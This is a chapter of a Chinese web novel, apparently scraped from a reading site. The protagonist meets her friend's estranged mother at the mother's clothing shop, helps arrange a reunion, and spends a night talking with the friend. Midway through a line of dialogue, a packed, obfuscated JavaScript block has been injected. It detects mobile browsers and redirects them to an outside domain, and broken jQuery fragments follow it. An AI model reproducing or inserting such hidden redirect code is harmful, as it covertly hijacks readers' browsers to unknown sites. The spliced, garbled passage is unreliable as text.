不知道过了多少次天人交战，最终田湉还是同意了李朝阳的提议。
即便嘴上同意了，在过去的路上，田湉依旧找着各种各样的借口，想尽理由拖延过去的时间。
在过去，她也是用那些蹩脚的理由说服自己不要去打扰母亲——但这次李朝阳没有给她逃避的机会。
在李朝阳的“逼迫”下，她们还是一起踏进了那家衣装店。
走进这个店铺的时候，李朝阳仔仔细细地打量着。衣装风格主要集中在宽松休闲的日常风，人台的服装搭配也是看似随意实则细节满满。同时还会提供饰品搭配的穿搭建议，每一件看似寻常的日常款搭配起来都有眼前一亮的感觉。
和很多女装的刻板印象不一样，这家衣装店同款有许多码数的选择，也有独立的一间现场量材改衣的裁缝室。
现场有一些身材丰腴的女性穿着后，也不会有明显的紧绷感，李朝阳从她们惊喜的神色看得出她们对衣服的满意程度。
“舒服”这个词很好的诠释了她走进之后的感受。
和她之前设想的不同，她以为这种跟设计相关的店铺，会是一些更精致的晚礼服之类。
“……你是田湉的朋友吧，你好呀，有喜欢的款式吗？”身边传来一道柔和的声线，李朝阳转头看去，来人穿着宽松的卡其色外套，内搭浅色的上衣和浅蓝色的牛仔裤，搭配的胸针和项链更是这清爽穿搭的点睛之笔。不过，微微隆起的小腹昭示着她还孕育着一个小生命。
是田湉的母亲，微笑的弧度几乎和田湉重合，亲和力十足。
李朝阳马上四处张望，本来以为这回田湉终于能够坦然地面对母亲的时候，她又不知道跑到哪里躲避去了。李朝阳只好挠了挠头，回头朝来人不好意思地笑着说：“阿姨你好，田湉她不知道去哪了……刚刚还在的……”
“哈哈，没关系，总有机会的。那你呢，既然来了就好好逛逛吧，这边有你喜欢的款式吗？”来人笑得很温和，不太在意地摇了摇头，只把李朝阳当做寻常的顾客，笑着重复原来的问题。
李朝阳诚实的点了点头：“您的设计都很舒服，没有复杂元素的堆砌，很简单也很亮眼的美。当时田湉说，您设计的衣服很好看，我一开始以为是她在夸张，没想到是真的很独特。”
不仅在这个位面，如果回到李朝阳自己的世界，哪怕看到这样的设计也会忍不住上前去多看两眼。
比起款式独特但是几乎没什么穿着场合的衣服，李朝阳更喜欢购买一些大众款，既舒服又百搭，特别省事。
“原来田湉也向你说起过我吗？”她有些意外，伸手摸过人台上自己设计的衣服，有些意外地说：“没想到，她还愿意向你提起我。也别叫我阿姨了。我姓陈，陈朔，也是这家REAL的老板和设计师之一。比起成为谁的后缀，我更喜欢有人直接称呼我的名字。居然来了，不如听我介绍介绍这里？”
李朝阳也正好奇着，故而点点头。
陈朔的个子并不算高，并且和田湉是如出一辙的圆脸，但是她当她说这番话的时候，她脸上的笑容带着自信张扬，整个人散发出一股锐利的气势；听着她条理清晰地介绍着每一款设计核心时，她的眼神又是那么的坚定，相信着这个世界没有越不过的高山。
李朝阳无比确信，当年对于陈朔来说，家庭是囚禁她飞得更高更远的锁链。
但——
李朝阳目光移向陈朔的小腹，她有许多不解。
既然她如此钟爱事业，那为什么她再一次选择了家庭？
或许陈朔有一种天然就让人信服的能力，再加上陈朔的描述方式实在有意思，李朝阳丝毫没有感觉到时间的流逝，时不时还想拿出手机将陈朔提到的要点记录下来。
在和陈朔的相处之中，李朝阳有些觉得自己回到了以前的生活——记忆或许会骗人，但是肌肉记忆不会。在某些时刻，李朝阳都有一种很强烈的既视感：她曾经也和一位女性前辈这样相处过，她们之间的关系应该非常亲近。
她们正聊得起兴，突然门口有外卖员喊了陈朔的名字，陈朔起身查看的时候，李朝阳的肩膀被人拍了拍，她回头瞪大了眼睛：“真的是你！”
张明月再次神秘地出现在了她的面前，原来刚刚看到的真的不是错觉。
李朝阳立即起身，惊喜地看向张明月：“你怎么也在这里？”
虽然在上个位面交流不算太多，但“他乡遇故知”的兴奋感，已经把张明月划到了自己人的行列。
更何况，李朝阳本能地愿意相信张明月，也是出于帮助位面女主的原因而存在的。
“没想到我们居然真的再见了。”张明月的眼里也有惊喜，不过反应并没有李朝阳那么大。张明月依旧穿着那件紫色兜帽的衣服，脸色似乎比起上一次见面要苍白许多。不仅如此，连之前面无表情的脸色都变得心事重重，眼里厚重的疲惫几乎化为实质。
李朝阳下意识地问出了口：“你休息不好吗？”
张明月眨了眨眼将心事压下，有些意外。她没想到李朝阳会关注这些细枝末节的东西。
但还没等张明月开口，陈朔先一步回来了。
“朝阳，这是你的朋友吗？”陈朔走向她们，抬起手中的袋子，无奈地笑着说：“瞧我这记性，又忘了自己怀孕的事情，要是不嫌弃的话，你们一人一杯怎么样？”
因为怀孕的原因，陈朔并不能喝奶茶，但她拿到两杯奶茶才想起来这件事。
“好啊，谢谢陈姐。”张明月先一步开口接过来奶茶，然后转身递了一杯给李朝阳。
李朝阳看到陈朔转身有些懊恼地拍了拍额头，叹了口气，但很快又已经恢复了平常的状态。
张明月提出要转钱给陈朔，但是陈朔并没有接受，而是笑着看向李朝阳：“正好田湉也正好不在，我有个请求想跟朝阳你聊聊。”
“那我先走了，你们的私事我也不方便听，再见。”张明月拍了拍李朝阳的肩膀，拿着奶茶将空间留给有话要说的两个人。
“陈姐你说。”李朝阳摇了摇头，本来想拒绝这杯奶茶，但是被强行塞进了手里。
陈朔拉着李朝阳在服务台旁边的椅子坐下，“其实我想和田湉吃一顿饭。你也看到了，她一直躲着我，我也没机会当面邀请她。”
李朝阳低头看着手里的奶茶，感受到了“拿人手短，吃人嘴软”。
陈朔知道李朝阳的纠结，轻轻拍了拍她的手背：“不用有压力，不同意也没什么的……”
“只不过这些天来我总有一些缺憾吧，我很想再见她一面。”陈朔无意识地抬头看着某处。
李朝阳顺着她的视线看去，看到了上方某处熟悉的装潢——是刚刚那家平平无奇的面食店。
是巧合吗？
还是说，在那些女儿没有留意的时刻，母亲也在悄悄注视着女儿？
虽然陈朔很快就收回了眼神，笑着让她不用介意。但李朝阳总感觉到她身上笼罩着什么，像某些黏腻潮湿的感觉，叫嚣拖拽着，几乎要将她往不知名的泥潭拉去。
犹豫许久，田湉对于陈朔的关注和神秘出现的张明月，李朝阳出于对张明月的信任，并且自己也敏锐地察觉到陈朔肯定是关键的一环——就像迟昭对于温柔一样。
再三思索之下，李朝阳还是同意了陈朔的请求。
时间也不算早，李朝阳很快就和陈朔告别，转身往手扶电梯的方向走去。正四处探望着寻找田湉的踪迹，没走几步，面前就冒出的身影拦住了她的脚步：“我在这里。”
李朝阳看到田湉的手腕上挂着一杯熟悉的奶茶，还没问出口田湉就匆忙解释道：“刚刚那个紫衣服女生硬塞过来的，说是你让她交给我的……还没等我拒绝她就不见人影了……我看你们有交流过，动作也挺熟稔的，好像是朋友，所以我就拿着了……”
“其实这是陈姐点的，也算是到你手上了。”李朝阳举起手里的另一杯还没喝的奶茶笑着解释。
“你叫她‘陈姐’吗？那你不就真成我长辈了吗？”田湉小声嘟囔着，拉着李朝阳快步离开了商场。
李朝阳听到了她的碎碎念，忍俊不禁。其实论起来真实年龄，她们说不定就真的是这样的关系呢。
“你不会就一直等在外面吧？其实陈姐也挺想见你的——”
“不要不要，好尴尬的。”田湉连声拒绝，低头吸了一口奶茶，正好是她喜欢的味道，不知道是意外还是巧合。
从商场离开之后，本来是要各回各家的。但李朝阳看出了田湉憋着一肚子问题想问，顺势提出想在她家过夜的想法。对于田湉来说，就像是刚打瞌睡就送来了枕头，自然欣然接受。
“……我的家里有些冷清，不要太在意。”田湉一边推开大门，一边打开室内的所有灯光，光明瞬间驱散了所有的黑暗。
“没事的。”李朝阳摇了摇头，穿上田湉从鞋柜翻出来的全新的拖鞋，“有我在就不会冷清了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918235|160302||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
入门的时候，李朝阳下意识打量一下她的房子的装潢，整体是偏向于简约的风格，但又会在一些不起眼的细节处有自己的小设计——和刚刚陈朔的衣装店如出一辙。最惹人注目的，是沙发上摆着两个颜色不同，但明显同一款式、目测有一米多的大号毛绒熊。
“这套房子的设计是我妈妈做的，听说当年她做了一段时间的家庭主妇，闲得没事就捣鼓捣鼓装修设计什么的。只可惜，等他们离婚好久之后才装修完成。”田湉走到沙发处，在面前的茶几上放下两杯刚倒好的水，而自己坐到毛绒熊身边，“不过这些都是我爸说的，那会儿他已经和我后妈结婚了，住这边也不太好。我不太喜欢和后妈他们住在一起，我就一个人住在这边。”
说完她用力拍了拍身边的大熊，伸了个懒腰，靠在沙发背上得意地说：“也不用摆什么可怜的表情看我，一个人住可快乐了，根本没有人管我——甚至还有家政人员定时上门帮我打扫卫生。”
“那可太好了，以后我不想回家就来你这蹭住。”李朝阳笑着走到她身边，搬开其中一个大熊，坐在原来的位置，将熊放到了自己的另一边。
田湉想起了李朝阳在学校里的别称，挽住她的手，头靠在她的肩膀上笑着调侃：“好啊，谁让你是我的‘妈妈’呢？”
“那乖女儿什么时候把房子转让给我呀。”
“我才不要，难道不是‘妈妈’给我买一栋更大的房子吗？”
……
从一开始口头上的插科打诨，到后来两个人动手“掐架”，到最后力竭躺倒在沙发靠背上。有一只熊滚落到了地毯上，另一熊半截身子悬空几乎要掉下去——然后被田湉抱住。
“说真的，你们刚刚聊什么了？”田湉把头闷在熊身上，还是忍不住问了出来。
“我以为你会忍一晚上呢。”李朝阳将地毯上的熊捡起来，端正的摆在身边。而自己找了个更舒服的靠着的姿势，然后和田湉聊起了陈朔和她的聊天内容。
虽然她们聊天的很多内容都还是关于real的设计理念，但田湉依旧听得津津有味。哪怕李朝阳说的那些信息，她曾在服装店的官方账号、网站见过不止一次。但如今这样听李朝阳转述起来，又是另一种感觉。
对田湉来说，每次看到这些信息，脑海中描摹的关于陈朔的身影就会更真实，而她也可以离那个一直追求梦想的母亲，更进一步。
然而当她听到李朝阳转述陈朔的邀请时，她却变得不知所措：“……她真的是那么说的吗？……她真的想见我？”
回想了一下当时陈朔的神态和语气：“至少我觉得，你们真的应该见上一面。你们应该都有想当面说给对方的话。”
田湉却又在此刻沉默，她捏着毛绒熊的手，低头垂眸不知道在想些什么。
过了很久很久，久到李朝阳觉得田湉要拒绝的时候，她背对着李朝阳发出很轻很闷的一声“嗯”。
“你答应了？”李朝阳想逗逗田湉。
那边的玩具熊传来田湉闷闷的声音：“……听不见算了。”
“好的你答应了。”田湉感受到李朝阳轻快的声音传来，还感受到李朝阳伸手轻柔地摸了摸玩具熊：“如果到时候你感觉到不舒服，我们随时可以走的。”
等两个人都玩腻了，一起躺在田湉的床上东扯西扯聊了很多有的没的。
在沉沉的睡意即将笼罩李朝阳之前，她又听到田湉模模糊糊的声音，在半梦半醒之间：“……朝阳你为什么对我这么好？”
“很好吗？”李朝阳睁开眼睛看向身边的田湉，田湉抱着大玩具熊背对着她睡在另一侧。
还是个小孩子呢，她无声地勾了个笑容，看着天花板上的吊灯等着田湉的答案。
“……我觉得很好。”
“摊牌了，其实我是上天安排来你身边的天使。”
“少来！”田湉佯装生气地转身看向李朝阳，睁着眼看向李朝阳：“我说真的。”
“你看，说真话你也不信。”李朝阳也转身看向她：“对你好需要理由吗？你本来就很好啊，我只不过做了你对别人的十分之一而已。”
“信这个，不如信我是秦始皇——V我50助力我复活，完成一统大计。”田湉转身又将自己埋在玩具熊里，刻意压低了嗓音岔开了话题。
李朝阳笑着看向窗外漆黑一片的夜空，今天没有繁星点缀，也没有月亮高悬：“睡吧‘秦始皇’，梦里什么都有。”
